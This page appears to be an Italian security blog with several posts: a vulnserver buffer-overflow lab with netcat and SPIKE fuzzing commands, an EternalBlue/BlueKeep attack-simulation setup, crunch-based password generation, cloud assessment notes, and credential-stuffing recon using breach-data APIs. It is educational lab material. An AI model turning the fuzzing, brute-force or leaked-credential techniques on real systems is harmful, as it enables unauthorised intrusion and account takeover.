Blog

cyber security, hacking

Buffer Overflow lab [I parte]

Premessa doverosa: tratto il tema perché mi piace e appassiona molto ma non sono certo un esperto, mi rivolgo quindi a chi come me è affascinato dall’argomento ed ha interesse ad approfondire passando per un esercizio pratico.

Durante una sessione live di qualche settimana fa (l’argomento era una simulazione di attacco) si è un po’ discusso e sono emerse domande circa lo sfruttamento delle vulnerabilità e le tecniche di exploiting. Ho quindi pensato di dedicare una live (ma ne serviranno almeno due) all’argomento con lo scopo di semplificare il semplificabile e fare qualcosa di molto pratico. La live di giovedì 5 maggio, ancora disponibile sul mio canale Twitch, introduce quindi l’argomento con un piccolo laboratorio estremamente realistico che chiunque può replicare. In questo post provo a mettere “in fila” i vari step visti durante la prima parte in live.

Intro: un grammo di teoria

Resistete, sono due cose ma fondamentali. Dobbiamo necessariamente capire come si manifesta un buffer overflow. Partiamo da un esempio molto semplice ed immaginiamo un programma base che ha una funzione main() dove avvengono “cose” ed una funzione task() che fa altre “cose”:

int main() {
    task();
    other_task();
}

int task() {
    char buff[42];
    ...
}

Cose succede nella memoria del nostro elaboratore quando un programma come questo viene eseguito? L’area di memoria interessata è chiamata stack (pila) perché si comporta proprio come una pila di byte nel momento in cui viene riempita di informazioni.

Sul “fondo” viene posizionata la funziona main() e le relative variabili locali, subito sopra si trova l’area di memoria che contiene l’indirizzo a cui andare per tornare alla funzione main() ed infine l’area dedicata alla funzione task().

Ciò che avviene quando il programma viene eseguito è sintetizzabile con i seguenti step:

  1. la funzione main() viene eseguita
  2. viene chiamata la funzione task()
  3. viene salvato il return address nel registro così da riprendere la funzione main() da dove si è fermata una volta eseguita la funzione task()
  4. viene eseguita la funzione task()
  5. viene letto il valore del return address
  6. il programma prosegue dall’istruzione successiva alla chiamata della funzione task()

Se tutto procede senza errori il programma terminerà con successo. In questo passaggio è importante comprendere che durante l’esecuzione della funzione task() l’area di memoria allocata dipende dalle esigenze della funzione in termini di “consumo”. Come si nota dallo pseudo-codice la variabile buff[42] è un array che può contenere 42 elementi. Cosa succederebbe se provassimo a scrivere 200 caratteri e non controllassimo questo evento a livello di codice?

Il contenuto del registro dove era stato salvato il return address viene sovrascritto ed il programma tenterebbe di riprendere da una posizione di memoria (AAAA nell’esempio) inesistente o non valida con relativo crash.

Exploiting

Capita la teoria vediamo come è potenzialmente sfruttabile questo meccanismo. Se potessimo controllare il valore del return address potremmo indirizzare il programma altrove ed eseguire le istruzioni presenti in altre aree di memoria. Con la stessa logica se potessimo scrivere istruzioni arbitrarie, invece delle “AAAA…”, nelle aree di memoria disponibili potremmo impostare il return address così da eseguire un jump esattamente dove sono state posizionate le nostre istruzioni arbitrarie.

Per ottenere questo risultato dobbiamo ovviamente sapere quanti byte scrivere nelle differenti aree di memoria. Ci serve quindi calcolare l’esatta dimensione del buffer, l’esatta posizione del registro EIP che contiene il citato return address ed infine l’inizio e la fine dalla successiva area di memoria.

Per ottenere tutte queste informazioni bisogna lavorare un po’ di debug e qualche calcolo esadecimale. Il modo migliore per comprenderlo è vederlo dal vivo, quindi il prossimo step è mettere le mani in pasta in un lab.

Lab Setup

Come accennato ad inizio post il laboratorio in questione ha il vantaggio di essere molto il linea con la realtà. Abbiamo un sistema che ospita un’applicazione vulnerabile la quale espone un servizio contattabile remotamente. Per mettere in piedi il sistema target dobbiamo quindi semplicemente predisporre una VM con sistema operativo Windows e scaricare l’applicazione vulnerabile.

Una volta preparata la vostra VM target dovete procurarvi l’applicazione che presenta la vulnerabilità: https://github.com/stephenbradshaw/vulnserver. Di base è un eseguibile che può essere lanciato direttamente dal prompt dei comandi:

Abbiamo quindi la nostra applicazione avviata e pronta a ricevere delle connessioni. Per fare qualche prova e come base anche per le successive operazioni di analisi possiamo usare la solita Kali che ci darà un mano anche successivamente grazie ad alcuni tools comodi. In questo scenario è necessario che le due VMs siano in comunicazione. Nel mio laboratorio condividono anche la stessa network ma non è un requisito.

Testing dell’applicazione

Dalla nostra Kali possiamo quindi provare a connetterci al server che risponde sulla porta 9999 utilizzando semplicemente netcat:

nc 192.168.1.7 9999

Il risultato dovrebbe essere qualcosa di simile:

A sinistra la sessione netcat, a destra la console del servizio.

Il servizio mette a disposizione diversi comandi in grado di ricedere dei valori. Nel caso specifico noi sappiano già qual è la funzione vulnerabile mentre in una situazione reale l’analista dovrebbe andare a caccia prima di tutto della vulnerabilità o del bug da sfruttare. In questa sessione non tocchiamo il tema bug hunting quindi ci limitiamo a saltare al momento in cui, tramite una tecnica molto usata che è il fuzzing, scoviamo il bug nella funziona TRUN del programma.

Mettiamoci quindi per un attimo nei panni del bug hunter (tra l’altro attività meravigliosa che richiede molta abilità) che arriva al test del comando TRUN del server ed utilizziamo un tool della nostra Kali: generic_send_tcp. Questo piccolo software ci consente di creare ed inviare pacchetti TCP al target per vedere cosa succede, dobbiamo prima definire le istruzioni da passare al programma che possiamo mettere in un file di configurazione che io chiamerò fuzz.spk:

s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");

Il file ha tre semplici direttive abbastanza chiare:

  • leggiamo l’output del server così da vedere cosa risponde alle nostre sollecitazioni
  • chiamiamo il comando TRUN
  • “spariamo” del contenuto per vedere come reagisce

Una volta pronto il file con le configurazioni possiamo fare fuoco:

generic_send_tcp 192.168.1.7 9999 fuzz.spk 0 0

Dovremmo ottenere il crash dell’applicazione sul server Windows:

A sinistra lo script di fuzzing in esecuzione, a destra il servizio andato in crash.

Il programma va in crash e abbiamo quindi la conferma del bug. Nel nostro caso sappiamo già essere un buffer overflow e in questo lab ci comporteremo di conseguenza cercando questo specifico comportamento.

Analisi della memoria

Abbiamo un servizio che va in crash se sollecitato in un certo modo… andiamo a vedere cosa succede in memoria quando si verifica il crash. Per questo lab utilizzo sulla macchina Windows il software Immunity Debugger; è una scelta di comodo che assolve al compito specifico di farci vedere cosa viene caricato in memoria quando il programma è in esecuzione e quando va in crash.

Immunity consente di avviare il servizio direttamente dalla propria interfaccia così da “pilotarne” ed analizzarne i singoli step, anche una istruzione alla volta. Avviamo quindi il servizio da Immunity ed avviamo il servizio:

Sulla destra troviamo lo stato dei registri del processore e in questa fase è interessante vedere che, oltre a non esserci errori, il registro EIP contiene una posizione di memoria che corrisponde a deve “mandare” il puntatore delle istruzioni una volta eseguita l’istruzione in gestione. E’ quini il return address di cui si parlava prima.

Vediamo cosa succede quando lanciamo il nostro fuzzer e mandiamo in crash il programma:

Su questo screenshot si potrebbe parlare per diverse ore. Cosa sta succedendo?

Subito in cima vediamo chiaramente la nostra richiesta: la chiamata alla funzione TRUN arriva direttamente da nostro fuzzer e subito dopo vediamo i valori passati alla funzione, una serie di caratteri “A”.

Altro elemento da notare è il contenuto dell’area a cui punta il registro ESP, porzione di memoria destinata alle variabili locali del programma in esecuzione. Anche qui vediamo una serie di caratteri “A”.

Infine, forse l’elemento più interessante, il contenuto del registro EIP: 41414141 ovviamente esadecimale. A cosa corrisponde 41 esadecimale? Al carattere “A”. Interessante! Le “A” che abbiamo sparato con il fuzzer sono andate praticamente dappertutto: hanno riempito la porzione di memoria destinata alle variabili della funzione, hanno sovrascritto il registro EIP e sono arrivate a riempire l’area di memoria destinata alle variabili del programma. Quale delle precedenti immagini vi ricorda? Siamo chiaramente davanti ad un buffer overflow.


Per questa prima parte mi fermo qui. Nella seconda parte vediamo come manipolare in modo preciso il contenuto dei registri ed iniziare a scrivere il nostro exploit ora che abbiamo individuato la vulnerabilità.

cyber security, hacking

Attack Simulation, preparazione di uno scenario

A seguito di specifici Security Assessment è normale che emergano vulnerabilità anche gravi per le quali, tipicamente, si suggerisce di eseguire un patching del sistema o altre azioni di mitigazione. Purtroppo va considerato che in alcune situazioni in patching non è applicabile, spesso per ragioni non tecniche. Per portare un esempio particolarmente emblematico basta far riferimento all’evoluzione dei sistemi di automazione industriale, macchine o intere linee di produzione realizzate per restare operative per decenni e che spesso presentano componenti software che, semplicemente, non si possono aggiornare perché non è mai stata rilasciata una nuova versione. In questi casi non è raro trovare sistemi operativi particolarmente datati con tutti i problemi a livello di gestione della sicurezza che questo comporta.

E’ opportuno essere pragmatici ed agire in un’attica di gestione del rischio, cosa che non significa – purtroppo – necessariamente eliminare ogni tipo di rischio. Una volta rilevata una possibile debolezza per la quale non è possibile applicare le più classiche remediation potrebbe essere utile approfondire l’analisi per cercare di stimare nel modo più preciso possibile quanto sia sfruttabile la falla ed i possibili impatti sul business del potenziale target.

Progettare e realizzare simulazioni di attacco può essere un utile strumento di verifica in quanto da la possibilità di esplorare realisticamente ciò che potrebbe avvenire e come gli eventuali sistemi di sicurezza reagirebbero a certe sollecitazioni. Inoltre, in caso di detection, l’attività è utile anche per verificare l’efficienza delle procedure di incident responce dei team operativi.

In questi giorni sto preparando uno scenario molto semplice che coinvolgerà parte del team target in qualità osservatori al fine di comprendere alcuni aspetti delle attività offensive. Vista la natura in parte didattica dell’attività ho pensato di condividere parte dello scenario ed approfittare di una delle sessioni live su Twitch per giocare un po’ con lo scenario.

Elementi base del lab

Come accennavo lo scenario è molto semplice in quanto presenta sistemi molto obsoleti che devono necessariamente esporre servizi vulnerabili. Nel caso specifico si tratta di sistemi Microsoft Windows fuori supporto e non aggiornabili che presentano le vulnerabilità note Blue Keep (CVE-2019-0708) e Ethernal Blue (CVE-2017-0144), le macchine server utilizzano proprio uno dei servizi vulnerabili in quando espongono delle share folder.

I sistemi vulnerabili sono confinati in una rete server (blue network nello schema) e sono raggiungibili solo da alcuni sistemi client che per ragioni operative devono accedere alle share dei citati server. La visibilità tra le reti è garantita da un firewall che, nella configurazione di base, non applica controlli specifici per il controllo delle minacce.

Per il lab di base utilizzo quindi i seguenti sistemi:

  • Virtual Machine “client” con sistema operativo Microsoft Windows 7
  • Virtual Machine “server” con sistema operativo Microsoft Windows 7
  • Virtual Machine “server” con sistema operativo Ubuntu Linux 22.04 LTS
  • Virtual Machine “firewall” con vAppliance Endian (v3.3.2) Community Edition

Preparazione macchina client

Il sistema client è veramente base, una semplice installazione di Windows 7 va benissimo. Le uniche configurazione della macchina sono a livello rete e gli utenti. La configurazione di rete del mio sistema è la seguente:

Dettaglio conf. di rete

Nel mio lab il gateway della rete client è il Firewall che a sua volta ha un gateway per le reti esterne. In questo modo dando ai sistemi che compongono il laboratorio un DNS è possibile farli accedere alla rete internet. La configurazione rispecchia lo scenario reale.

Traceroute dalla macchina client

Per quanto riguarda gli utenti l’esigenza è di avere un utente amministratore locale ed un utente non privilegiato. Nello scenario reale questo sistema sarebbe membro di un dominio Active Directory ma in questo caso ci accontentiamo della doppia utenza. E’ ovviamente previsto, in fase di attacco, l’accesso fisico al sistema con una sessione attiva dell’utente non privilegiato.

Nota a margine: il client nello scenario reale potrebbe essere una macchina Windows 7 o Windows 10. In questa sessione ci accomodiamo sul sistema operativo più datata.

Preparazione macchina server Windows

Di base si tratta di una macchina praticamente identica alla macchina client se non per la posizione nella rete (come da schema), la configurazione della share e le relative regole del firewall locale. A dire il vero nello scenario reale il firewall locale è disabilitato, quindi questa sarà la configurazione di partenza anche nel lab.

Preparazione macchina server Linux

Si tratta di un semplice ambiente LAMP basato su Ubuntu Linux e in questo scenario probabilmente non verrà utilizzato, ma visto che l’obiettivo è sfruttare il laboratorio anche per altre sessioni ha senso tenerla pronta.

Preparazione macchina Firewall

Come accennato nel mio caso ho scelto una semplice vAppliance Endian per la quale ho configurato tre zone e relative reti:

  • Green: corrisponde alla LAN della rete di laboratorio e su questa interfaccia è anche attiva la Management Console disponibile alla URL https://ip:10443
  • Blue: corrisponde al segmento SERVER della rete di laboratorio
  • Uplink: corrisponde alla WAN della rete di laboratorio
Endian Console

In configurazione di default la zone Green e la zona Blue sono in piena visibilità, quindi il sistema client potrà dialogare da subito con il sistema server e il traffico potrà essere registrato nei logs del firewall:

Preparazione macchina c&c

Come accennato anche nella live del 21 aprile (online ancora per qualche giorno) per pura comodità la macchina che utilizzeremo come c&c sarà il sistema Kali del mio lab ma, visto l’utilizzo che vogliamo farle nei primi test, va benissimo una qualsiasi macchina linux che sia in grado di ospitare un web server. Nel laboratorio utilizzerò Apache con Php e Python.

Questo sistema verrà utilizzato come una macchina già compromessa o comunque sotto il controller dell’attacker che è in grado di accedervi remotamente e comodamente via ssh.

Prima fase dell’attacco

Come anticipato lo scenario prevede un accesso fisico al sistema client da cui si dovrà poi sviluppare l’attacco. Partirei quindi da una serie di rilevamenti sul sistema di partenza per poi usare la macchina come base per una scansione mirata nella rete target.

Una delle ipotesi di partenza è che l’attacker sia ragionevolmente certo di trovare le vulnerabilità citate, il sistema di scansione dovrà quindi operare in modo chirurgico. Una volta individuati i sistemi potenzialmente vulnerabili si dovrà procedere con l’exploiting del sistema con lo scopo di creare un accesso permanente alla macchina.

Oltre alla definizione dei singoli strumenti per eseguire le azioni offensive l’obiettivo di questa prima fase è quello di costruire i tools da eseguire rapidamente sul sistema su cui si ha la possibilità di accedere fisicamente. Per verificare l’efficienza dell’operazione l’azione verrà cronometrata.

Il base ai risultati della prima fase, che in parte potremo discutere nella prossima live del 28 aprile, valuteremo le attività della seconda fase in cui coinvolgeremo il sistema c&c.

hacking

Password policies e resistenza agli attacchi

Un post di riflessione in merito ai corretti (a mio parere) spunti che Paolo Perego propone in questo sui articolo. Non ripeto quello che ha scritto Paolo, leggetelo e valutate voi stessi, il suo post merita. Parto direttamente dalle sue conclusioni: dove sta la debolezza di una passphrase rispetto ad una password complessa?

Provo ad affrontare il tema dal punto di vista dell’attacker che ha ovviamente l’obiettivo di eseguire il cracking di un accesso ad un sistema o ad una applicazione. Nel post di Paolo si fa riferimento al contesto dei portali e siti web ma il tema della verifica della robustezza prescinde il contesto. Per procedere quindi con le specifiche prove utilizzo un piccolo lab composto dalla solita kali (per comodità) che farà sia da base offensiva che da target con un utente “test” per il quale ho configurato un semplice accesso SSH. Come password utilizzeremo quella proposta da Paolo: “Il colore della mia stanza è blu”.

Wordlist

Partiamo dalle basi dell’attacco ad una credenziale: il brute forcing utilizzando un elenco di parole predefinite. In questo caso i tipici dizionari presenti nei diversi tools (kali compresa) riportano tipicamente un elenco di parole, non di frasi. Una wordlist classica sarebbe quindi poco efficace verso una passphrase salvo la creazione di diverse combinazioni di words obiettivamente molto onerosa da costruire in termini di tempi di generazione e volumi di dati. Escluderei quindi questa tecnica tra quelle efficaci.

Generazione di credenziali

E’ probabilmente più funzionale tentare di generare una credenziale partendo da un dato che non ci è però dato sapere in anticipo, ovvero il fatto di essere di fronte ad una passphrase e non una password.

Se l’attacker partisse da questo assunto (cosa di per se non particolarmente realistica senza dati a supporto della tesi) potrebbe valutare l’utilizzo di varie combinazioni di parole comuni a formare una frase semplice da ricordare. Non mi stupirebbe scoprire che molti utenti, in questo scenario, potrebbero voler utilizzare delle citazioni famose o frasi che possano essere in qualche modo riferibili al sistema a cui si sta accedendo.

In tal senso un potenziale approccio potrebbe essere l’utilizzo di tools come cewl per creare una lista si parole partendo dal sito del target o da altri contenuti (es: racconti o testi comuni) per provare a costruire poi delle frasi.

Plausibile ma sicuramente non comodo e credo, anche in questo caso, poco efficace.

Un altro approccio, visto che le passphrase di base sono stringhe relativamente lunghe, è il brute force più tradizionale con calcolo delle varie combinazioni. Mettiamoci in un caso relativamente comodo dove la frase è tipicamente composta da caratteri alfabetici con degli spazi come separatori. Assumiamo anche di conoscere la lunghezza della passphrase del target, un metodo realistico in alcuni scenari di attacco è contare ad orecchio le digitazioni dell’utente. Nell’esempio di Paolo ci troviamo comunque davanti ad un frase di 32 caratteri.

Cosa succedere se proviamo a generare frasi di 32 caratteri alfabetici con crunch?

Non impossibile ma decisamente improbabile.

Crack degli hash

Qualche giorno fa ho parlato di credential stuffing. Supponiamo quindi che a causa di un Data Breach gli hash delle passphrase siano disponibili all’attacker. Ai nostalgici verrà subito in mente di utilizzare tools come John the Ripper ma di base le difficoltà saranno le stesse descritte nei precedenti due casi in quanto le tipiche modalità di utilizzo di questi tools prevedono l’impiego di wordlist o utilizzano funzioni di generazione di stringhe.

Le mie conclusioni

Ho voluto scrivere questo post per non rischiare di generare una “battaglia di opinioni”. Paolo ha proposto una riflessione corretta che ho voluto mettere alla prova con qualche esempio reale e ritengo che non vi siano motivazioni che rendano una passphrase meno sicura di una “strong password”… anzi in un certo senso la lunghezza gioca un ruolo a favore non banale.

cyber security, hacking

Cloud Security: assessment e detection [prima parte]

Quella che voglio fare è una prima riflessione ad “alta voce” su un tema che, per una serie di coincidenze, ho toccato in diverse occasioni negli ultimi giorni. Scrivo quindi di getto qualche pensiero e annoto pubblicamente qualche risorsa per dar seguito poi a qualche approfondimento.

Parto dallo scenario: molte aziende ed organizzazioni hanno spostato – e continuano a spostare – workload e dati in cloud sfruttando i vantaggi ed i servizi dei diversi provider ed in particolare dei tre big: AWS, Azure, GCP. Osservo due principali comportamenti: chi “sposta” ciò che fino a ieri gestiva con una Virtual Machine nella sua forma più simile, come una instance, e chi (a mio parere più saggiamente) approfitta dell’occasione per rivedere anche la forma dei propri workload e fa uso di containers, soluzioni as-a-Service per storage e basi dati, soluzioni/implementazioni serverless. Non è questa l’occasione per discutere di quale sia la strategia migliore per spostare i workload in cloud, parlatene con i vostri cloud architect che sapranno consigliarvi a dovere, il tema che voglio affrontare è come gestire la sicurezza dei dati e dei servizi una volta che li avete spostati… tema che sarebbe meglio affrontare prima di spostare i workload, giusto per non andare poi a mettere pezze.

Parto da qualche domanda che credo dovremmo porci:

  • Nella realizzazione del nuovo scenario sono state considerate le linee guida del provider in termini di sicurezza dei sistemi e dei dati? (Security by design)
  • Una volta spostati i dati ed i servizi, dobbiamo ancora preoccuparci di verificare l’esposizione a minacce? (Security Assessment e Security Test)
  • Come gestiamo la detection di eventuali attività sospette? Le procedure e gli strumenti che abbiamo implementato per i sistemi “on prem” sono ancora valide? E le competenze?
  • Come reagiamo ad eventuali incident? Abbiamo adeguato le procedure e le strategie di incident management? Ci siamo dotati di strumenti coerenti al nuovo assetto tecnologico?

Discutendo con qualche addetto ai lavori è emerso che non tutte le scelte fatte per i sistemi ospitati “tra le mura aziendali” conservino la loro validità una volta spostati e trasformati i workload. Inoltre capita frequentemente di approcciale la gestione di ciò che è in cloud adattando procedure storicamente applicate per i workload attivi presso i Data Center dell’organizzazione. E’ sicuramente vero che la gestione di alcuni aspetti va in delega al provider ma è altrettanto vero che la delega non piò essere totale: molte configurazioni degli ambienti restano a discrezione dell’organizzazione a partire dagli accessi ed i profili degli utenti, l’eventuale software che chiediamo di eseguire alle piattaforme cloud ha le stesse esigenze del software che facciamo girare all’interno del nostro (Virtual) Data Center, temi come la riservatezza e l’integrità dei dati restano in buona parte in carico al cliente della piattaforma. Per farla breve la sicurezza delle informazioni va gestita in ogni caso, cambiano probabilmente alcuni dettagli operativi ma le metodologie base non cambiano.

Ovviamente gli aspetti da considerare sono moltissimi, in questa prima riflessione volevo partire dagli argomenti che recentemente mi è capitato di affrontare: Assessment e Detection.

Security Assessment

Sul fronte dei security assessment l’esigenza è forse palese: probabilmente non ci si metterà ad eseguire scansioni delle vulnerabilità delle piattaforme cloud (o forse si, io un check lo farei comunque o quanto meno farei delle valutazioni di merito) ma indubbiamente ha senso verificare la coerenza delle configurazioni applicate in fase di attivazione dei servizi al fine di non esporre vulnerabilità logiche e by desing. Inoltre, come accennavo, è probabile che l’organizzazione debba utilizzare componenti software di terze parti o auto-prodotte all’interno della propria piattaforma cloud, questi elementi avranno le stesse esigenze di gestione e manutenzione di prima anche se sarà probabilmente un po’ più semplice agire mitigation e remediation grazie agli strumenti che i cloud provider stessi mettono a disposizione.

Nota a margine. Il tema degli strumenti di gestione o a supporto delle applicazioni in cloud non è banale, disporre di molte opzioni anche a livello di soluzioni di protection rapidamente implementabili è un indiscutibile vantaggio di gestione. Un esempio banale: un security test mette in evidenza una vulnerabilità software in una applicazione web per la quale non esiste una fix e si mitiga con una configurazione a livello di Web Application Firewall probabilmente già disponibile tra le funzionalità attivabili all’interno dell’ecosistema cloud.

Proviamo a ragionare sulla metodologia e per questa prima analisi restiamo sui classici: NIST, Security Testing and Assessment Methodologies. Il documento, che credo non abbia bisogno di presentazioni, illustra metodologia e fasi per un security assessment e ci ricorda le motivazioni per il quale ha senso condurre questo tipo di analisi:

  • Conferma se i sistemi sono stati opportunamente resi sicuri
  • Identifica eventuali requisiti di sicurezza dell’organizzazione non soddisfatti (*)
  • Soddisfa il requisito di eseguire una valutazione/misurazione periodica del sistema
  • Non sostituisce i controlli si di e la gestione della sicurezza dei sistemi

(*) Da notare che il framework parte da un assunto: che l’organizzazione abbia definito dei requisiti di sicurezza. Partiamo quindi da questo punto, abbiamo definito dei requisiti di sicurezza per ciò che stiamo implementando in cloud? Ci sono scelte e valutazioni che le organizzazione devono necessariamente eseguire in autonomia ma qualche spunto, se non sapete da dove partire, spesso viene dato proprio dai cloud provider.

Detection

Il secondo argomento parte da una domanda facile: come gestire il rilevamento dei security incident per un workload in cloud? Ovviamente rilevare l’icident è solo la scintilla di tutto ciò che riguarda poi la gestione dell’incident stesso, ma in questo momento restiamo solo sul tema della detection e, sempre per semplicità, restiamo ancora su NIST come riferimento.

A pagina 7 del documento “Framework for Improving Critical Infrastructure Cybersecurity” c’è una definizione abbastanza chiara:

NIST – Framework for Improving Critical Infrastructure Cybersecurity

Chiaramente la funzione di detection ha lo scopo di individuare eventuali eventi di interesse per la gestione della sicurezza dell’infrastruttura e dei dati da essa gestiti. Per gestire la detection dobbiamo quindi necessariamente accedere agli eventi che interessano i workload tenendo in considerazione il fatto che in molti casi non si parla più di Syslog e Windows Events. Le diverse piattaforme mettono infatti a disposizione in forme diverse gli eventi che interessano i vari servizi, di solito grazie a delle API che consentono di interrogare i sistemi oggetto di interesse.

Va anche considerato che strumenti che tipicamente vengono utilizzati dalle organizzazioni come SIEM e XDR devono disporre di opportune funzionalità per accedere a questo patrimonio di informazioni e devono anche sapere cosa farci con quei dati. Provo a chiarire il tema con un esempio: se il nostro SIEM deve analizzare i log provenienti da una istance o da un container probabilmente poco cambia rispetto a ciò che arrivava dalla virtual machine (sui container ci sarebbe di più da dire, eventualmente ne parlo in una live), ma se gli eventi sono prodotti dalla piattaforma che gestisce le nostre applicazioni in modalità serverless (es: procedure di integrazione, scripts di automazione) i nostri sistemi sono in grado di analizzare correttamente eventi di questo tipo?

Tecnologicamente è più che fattibile, è necessario tenere a mente che il passaggio di un workload in cloud richiede ancora che venga gestita la detection e che potremmo dover adeguare procedure e strumenti.

Best Practices

Nella maggior parte dei casi parliamo dei tre big player citati, ma in generale tutti i provider di servizi mettono a disposizione delle linee guida per affrontare diversi aspetti della sicurezza dei sistemi e dei dati all’interno dell’universo cloud.

In questa prima parte vorrei quindi dare un’occhiata a cosa suggeriscono a livello di best practices i tre provider di riferimento: AWS, Azure e GCP.

Inizio da AWS che aggrega in un pagina una serie di temi per i quali rimanda a diversi articoli e trainng: https://aws.amazon.com/it/architecture/security-identity-compliance/.

I titolo sono più che eloquenti. Il tema Identity e Access Management è evidentemente un argomento cruciale per una piattaforma cloud dove dovranno probabilmente accedere più utenti con credenziali di servizio per la gestione delle diverse componenti. E’ quindi opportuno proteggere opportunamente questo livello di accesso e profila correttamene gli utenti in modo da non dare privilegi elevati a chiunque.

AWS dedica inoltre uno spazio dedicato al tema della Detection dove cita una soluzione interna alla piattaforma – Security Hub – che consente di gestire alcune minacce (solitamente quelle più comuni) con delle azioni preimpostate (playbook); su questo elemento siamo già su un altro tema che in realtà ha un capitolo dedicato: le azioni di mitigation e remediation. Viene inoltre citata un’altra componente che dalla documentazione mi sembra più “core” per la funziona di detection che è GuardDuty.


Anche per Azure abbiamo a disposizione molta documentazione, devo dire tantissima ma anche molto sparsa. Ho trovato utile partire da un documento di sintesi con una top 10 di argomenti con i relativi rimandi alla documentazione dedicata: https://docs.microsoft.com/…/cloud-adoption-framework/secure/security-top-10.

Noto subito un certo allineamento di argomenti: anche Azure parte dal tema degli utenti suggerendo formazione specifica e ovviamente una corretta gestione delle profilazioni. Si fa quindi riferimento a role-base access control e identity and key management.

Su fronte della detection trovo un approccio interessante che titola “Integrate native threat detection”. In sintesi si parla di integrare le funzionalità di detection di Azure direttamente all’interno del proprio SIEM di riferimento. In questo caso si sta facendo riferimento, se comprendo bene, alle funzionalità di Microsoft Defender for Cloud, componente che vale quindi la pena di indagare meglio.


Anche per Google Cloud esiste una montagna di documentazione con una main page che raccoglie le best practice: https://cloud.google.com/security/best-practices. La struttura della documentazione di BigG è ovviamente differente rispetto ad Azure e AWS e anche in questo caso bisogna andare un po’ a caccia dei temi. Già nella main page li parla però di moltissimi aspetti tra cui il già citato tema dell’Access Management e un interessante documento che titola “Security best practice checklists”.

Sul tema Detection anche Google risponde con una propria soluzione: https://chronicle.security/. Di fatto un SIEM “cloud-native” (su questa denominazione potremmo discutere all’infinito) per le operazioni di detection and response.

Qualche conclusione non concludente

Come scrivevo l’obiettivo di questo primo post era far(mi/ci) un’idea come si stanno muovendo i big player sul fronte della gestione delle minacce in un contesto che varia rapidamente ed è sicuramente molto diverso da quello che le aziende tipicamente gestiscono internamente.

Partire dalla letteratura mi aiuta a organizzare le idee per andare poi a selezione gli argomenti da approfondire. Quindi per ora mi fermo qui e agli interessati lascio il link al mio canale Twitch dove questa sera – giovedì 14 aprile – alle 21:30 faccio una sessione di studio in cui leggiamo e chiacchieriamo a ruota libera su questo tema: https://www.twitch.tv/roccosicilia.

cyber security, hacking

La disponibilità di credenziali negli attacchi informatici

Anche in questo breve post resto sul tema della “recon” con un focus particolare: la ricerca e l’impiego di credenziali valide per l’attuazione di un attacco informatico. Tra le attività che l’attacker esegue, una volta mappate le tecnologie in uso dall’organizzazione terget ed i servizi esposti in rete pubblica (posta elettronica, accessi VPN, portali aziendali, ecc.), vi è la ricerca di credenziali valide per accedere ai servizi individuati.

E’ ovvio che conoscere una credenziale valida consentirebbe all’attacker di accedere a nuove informazioni se non direttamente alla rete target. E’ quindi assolutamente logico verificare se gli utenti dell’organizzazione siano già stati vittime di data breach con relativo furto di una credenziale.

A causa di una cattiva abitudine degli utenti capita ancora molto spesso che vengano utilizzare credenziali uguali o simili per accessi differenti (es: posta elettronica personale ed aziendale). Va considerato che le credenziali utilizzate in un contesto aziendale sono spesso dei veri e propri passepartout nominali che danno accesso a molte applicazioni e sistemi, compreso l’accesso VPN alla rete aziendale. Questa combinazione di fattori rende il fenomeno del “password reuse” una concreta minaccia per le organizzazioni in quanto l’attacker che entra in possesso di una credenziale proveniente da un qualsiasi data breach in cui sia stato coinvolto un membro dell’organizzazione target potrebbe trovarsi nelle condizioni di accedere a servizi dell’organizzazione stessa utilizzando la stessa identica credenziale o versioni simili di questa.

Facciamo un esempio banale. L’utente Mario Rossi utilizza come password una sequenza alfanumerica a cui aggiunge un progressivo nel passaggio da una piattaforma all’altra: asd23qwe!01, asd23qwe!02, asd23qwe!03, ecc. L’attacker che dovesse entrare in possesso di una delle password potrebbe tentare la generazione di diverse combinazioni da provare sulle varie piattaforme. Tools come crunch possono essere utilizzati per generare potenziali password utilizzando un set specifico di caratteri in modo da restringere il campo a quelli tipicamente utilizzati dalla vittima.

Esempio di generazione stringe con crunch

Il concetto è semplice: si ottiene un dizionario qualificato di password per uno specifico utente da passare poi a tools di brute forcing o a semplici scripts in grado di eseguire un test di accesso all’applicazione target. Metto a disposizione un piccolo esempio per eseguire il test in sequenza di un accesso via SSH dato un utente valido ed un dizionario di password: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/BruteForce. Chi ha familiarità con il mondo del pen-testing probabilmente conosce tools come Hydra, una semplice utility che può essere istruita per eseguire tentativi di accesso anche a webform sulla base di un dizionario predefinito.

L’assunto, come detto, è di disporre di un potenziale set di credenziali valide provenienti da data breach passati. Esistono diverse fonti, assolutamente legali ed utilizzate anche in contesti di difesa, da dove è possibile raccogliere informazioni in merito a passati data breach ed eventuali credenziali trafugate. Uno dei più noti è Have I Been Pwned dove è possibile verificare la presenza di una propria credenziale in un Data Breach e, accedendo alle API, è possibile anche consultare il contenuto dei dati relativi al breach, credenziali comprese. Altri due servizi molto interessanti a mio parere sono BreachDirectory e LeakCheck (quest’ultimo è un referral link).

Su BreachDirectory vorrei organizzare un approfondimento sfruttando il piano base di rapidapi.com che mi consente di fare un paio di prove utili a comprende quanto sia fin troppo facile accedere a questa tipologia di dati.

Semplicemente accedendo dalla homr del sito al link del menu “api” si viene rediretti alla dashboard di rapidapi da dove è possibile accedere alla struttura della API ed a diversi esempi di codice utilizzabile per creare un semplice script:

Tool di test delle API

Anche con competenze estremamente base in un qualsiasi linguaggio di scripting (rapidapi riporta esempi per decine di sintassi) è possibile costruire una request base per ricerche mirate o semplici automatismi per sfogliare le voci dei database a caccia di set di informazioni su più target.

Contromisure

Come accebbato tutto ha origine da un malcostume degli utenti, avendo quindi cura di utilizzare differenti credenziali per i diversi servizi a cui ci si registra la possibilità di essere vittime di credential struffing si riduce enormemente. Un altro ausilio è l’utilizzo di sistemi di autenticazione multi fattore così da non delegare alla segretezza della password la sicurezza degli accessi ai propri sistemi/servizi.

A somma di queste sane abitudini ed in considerazione del trend in crescita dei data breach potrebbe aver senso anche monitorare, tramite i servizi disponibili anche sui portali citati, la propria presenza nei database che aggregano tali informazioni.

Ho personalmente potuto osservare l’efficacia di tecniche come il credential stuffing e non è il caso di sottovalutare il fenomeno. In generale credo si sia tutti abbastanza concordi nel considerare i meccanismi di autenticazione basati sulla coppia user/password non particolarmente sicuri. È il caso di passare oltre.

cyber security, OT/IoT

OT / ICS Security Workshop

Scrivo questo post il giorno prima rispetto al workshop che si terrà il 17 marzo in collaborazione con Festo Academy ma lo pubblicherò solo qualche giorno dopo. In questa occasione vorrei riassumente alcune dei temi trattati durante la sessione assieme ad Andrea Dainese con il quale ho condiviso la conduzione.

